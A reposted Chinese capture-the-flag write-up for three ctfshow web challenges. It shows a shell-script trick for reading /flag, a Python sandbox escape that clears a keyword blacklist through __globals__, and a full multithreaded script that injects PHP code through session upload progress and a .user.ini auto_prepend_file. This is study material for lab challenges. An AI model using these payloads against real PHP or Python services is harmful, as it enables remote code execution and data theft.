IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow 原谅杯 -> 正文阅读

[PHP知识库]ctfshow 原谅杯

原谅4

这是提示。

老前辈说过“最安全的系统就是什么都没有”,我把没用的命令都删了,看你还怎么执行
你知道系统环境变量里的PATH是干什么的吗?

查看phpinfo发现禁用了很多东西,根据提示,查看$PATH
echo $PATH
然后到各路径下查看
然后查看/bin
发现只有三个命令,ls rm sh
所以这里我们可以执行shell脚本

echo -e "%23!/bin/sh\nwhile read LINE\ndo\necho \$LINE\ndone < /flag" > readflag
sh readflag

原谅5_fastapi2

hint1:https://ctfshow.lanzoui.com/iKaushwaoyh
hint2:为了防止偷看我把变量都改了名字,还把关键词的黑名单挪到了函数外面。
hint3:给你过滤的关键词又如何,['import', 'open', 'eval', 'exec', 'class', ''', '"', 'vars', 'str', 'chr']。web入门里的知识点,换成python了而已。

首先要知道fastapi是有一个交互界面的,所以我们直接到/docs下面
在这里插入图片描述
很明显是利用第二个POST提交参数,参数只能是字符串类型,然后它还过滤了一堆,所以这里有一个骚姿势,
首先查看全局变量list(calc.__globals__)
然后里面有一个有youdontknow的列表,然后让q为youdontknow进入查看,发现里面过滤的黑名单。
这里我们用clear()函数清空这个列表,黑名单就没了。
然后就是随便写了
open(’/flag’).read()

原谅6_web3

别人的脚本

# coding=utf-8
# Author:Y4tacker
import io
import requests
import threading

sessid = 'yyy'
url = "http://14127917-ed10-4553-9e98-4d7fd59d77e4.chall.ctf.show/"


def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat ./flag.php');?>"},
                            files={'file': ('yyy.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.get(url+"waf.php")
        if "upload_progress" in resp.text:
            print(resp.text)


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        # 第一步上传.user.ini文件,将我们的session文件内容添加到默认头
        y4tacker = {
            "content": "auto_prepend_file=/tmp/sess_" + sessid
        }
        session.post(url + "?file=.user.ini", data=y4tacker)
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-10 10:38:00  更:2021-09-10 10:39:01 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 18:42:10-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计